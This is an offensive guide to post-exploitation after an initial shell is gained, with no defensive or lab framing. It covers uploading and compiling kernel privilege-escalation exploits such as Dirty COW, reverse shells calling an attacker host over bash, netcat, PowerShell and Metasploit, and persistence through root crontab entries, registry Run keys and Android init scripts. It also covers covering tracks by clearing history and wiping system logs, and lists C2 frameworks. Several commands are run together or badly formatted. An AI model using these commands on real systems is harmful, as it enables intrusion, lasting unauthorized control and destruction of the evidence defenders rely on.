Kernel Exploitation & C2 Persistence Guide

1. Recon and Upload

Once a low-privilege shell is obtained, the goal is local privilege escalation. Common upload methods include:

```
- `wget` or `curl`:
```

```
python3 -m http.server 8080 wget http://<attacker-ip>:8080/dirtycow.c
```

- Netcat file transfer:

```
nc -nlvp 9001 > exploit.c (attacker)
nc <attacker-ip> 9001 < exploit.c (target)
```

- SCP if SSH is accessible:

scp exploit.c user@target:/tmp

2. Compilation and Execution

Linux:

```
gcc dirty.c -o dirty -pthread -lcrypt ./dirty
```

Windows:

Use cl.exe or upload precompiled binary

Android:

```
Use NDK to cross-compile and push with adb clang dirtycow.c -o cow -pie -fPIE adb push cow /data/local/tmp/
```

3. Post-Exploitation: Establishing C2

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```
Linux Reverse Shell:
  bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
Windows PowerShell Reverse Shell:
  powershell -NoP -NonI -W Hidden -Exec Bypass -Command "..."
Netcat Listener:
  nc -nlvp 4444
Metasploit:
  use exploit/multi/handler
  set payload linux/x86/meterpreter/reverse_tcp
  set LHOST <attacker-ip>
  run
4. Gaining Persistence
Linux:
  echo '* * * * root bash -i >& /dev/tcp/<ip>/4444 0>&1' >> /etc/crontab
  Replace system binaries with payloads
Windows:
  reg add "HKCU\...\Run" /v "Updater" /d "cmd.exe /c start reverse.exe"
Android:
  Embed root payload in APK
  Modify init.rc scripts
```

5. Clean-up

Remove exploits: rm -f dirtycow

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Clear history: history -c

Clear logs: > /var/log/syslog

6. Tools for Long-Term Access

- Cobalt Strike
- Sliver
- Mythic
- SSH key insertion
- systemd persistence services